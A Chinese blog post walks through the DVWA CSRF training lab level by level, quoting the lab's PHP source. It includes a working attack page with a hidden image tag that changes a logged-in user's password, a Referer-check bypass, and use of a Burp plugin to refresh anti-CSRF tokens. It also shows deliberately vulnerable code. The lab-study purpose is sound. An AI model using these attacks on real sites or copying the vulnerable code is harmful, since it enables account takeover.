DVWA-CSRF

最新推荐文章于 2025-03-03 13:50:25 发布

CodeStarr

最新推荐文章于 2025-03-03 13:50:25 发布

阅读量1.7k

点赞数

分类专栏： web 文章标签： csrf web安全安全

本文链接：https://blog.youkuaiyun.com/Ga4ra/article/details/123362906

版权

web 专栏收录该内容

27 篇文章

订阅专栏

文章目录

CSRF

CSRF

之前的笔记：https://blog.youkuaiyun.com/Ga4ra/article/details/122060519

Low level

题目是一个修改密码的页面，修改密码点击提交，url如下：

/dvwa/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change#

这个页面任意访问，就能修改密码了。

构造个页面：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <img src="http://10.10.10.156/dvwa/vulnerabilities/csrf/?password_new=bbb&password_conf=bbb&Change=Change#" border=“0” style=“display:none;”/>

    <h1>404<h1>
</body>
</html>

一旦访问这个页面，密码就会被改成bbb了。

当然必须得先登录，否则dvwaPageStartup()函数会跳转到登录页面。

看下源码，只是检查了password_new和password_conf一样即可修改。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

?>

Medium level

这次如果从空白页/恶意网站直接访问修改密码的url，则会回显That request didn't look correct.。

看下源码，检查了referer字段：

// Checks to see where the request came from
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

		//...
		}
		else {
			// ...
		}
	}

如果referer里有服务端hostname，则通过验证。

抓包看下字段

访问的url:

http://10.10.10.156/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

Referer

Referer: http://10.10.10.156/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

修改下源码：

echo $_SERVER[ 'SERVER_NAME' ];
echo "<br>";
echo $_SERVER[ 'HTTP_REFERER' ];
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
	//...
}

输出：

10.10.10.156
http://10.10.10.156/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change<!DOCTYPE html>

而从空白页访问url的时候，抓包是没有referer字段的，复制进去就可以修改密码了，当然实战中不能这么操作。一种绕过思路是，把low level里的html名称改成10.10.10.156.html。

High level

提交表单后url增加了user_token参数：

GET /dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=e41ef3299708ca39e988d6e194a0e349 HTTP/1.1

也就是说加入了token检查，F12前端页面如下：

<form action="#" method="GET">
    New password:<br />
    <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
    Confirm new password:<br />
    <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
    <br />
    <input type="submit" value="Change" name="Change">
    <input type='hidden' name='user_token' value='e41ef3299708ca39e988d6e194a0e349' />
</form>

看下源码：

if ($change) {
	// Check Anti-CSRF token
	checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
        //...
    }
    //...
}
generateSessionToken();


function generateSessionToken() {  # Generate a brand new (CSRF) token
	if( isset( $_SESSION[ 'session_token' ] ) ) {
		destroySessionToken();
	}
	$_SESSION[ 'session_token' ] = md5( uniqid() );
}

function checkToken( $user_token, $session_token, $returnURL ) {  # Validate the given (CSRF) token
	if( $user_token !== $session_token || !isset( $session_token ) ) {
		dvwaMessagePush( 'CSRF token is incorrect' );
		dvwaRedirect( $returnURL );
	}
}

单单抓包的话，可以使用bp的CSRF Token Tracker插件。添加规则：

host-> 10.10.10.156
name->user_token

然后抓包后发到repeater，无论发多少次，token都能自动刷新，返回password changed 响应。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oh4C9hhI-1646743782722)(CSRF.assets/BpCSRFTokenPlugin.png)]

Impossible level

Impossible级别需要先输入当前密码，而且查询数据库是用了PDO（PHP data object），防止sql注入。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_curr = $_GET[ 'password_current' ];
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Sanitise current password input
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_curr = md5( $pass_curr );

	// Check that the current password is correct
	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
	$data->execute();

	// Do both new passwords match and does the current password match the user?
	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
		// It does!
		$pass_new = stripslashes( $pass_new );
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update database with new password
		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->execute();

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>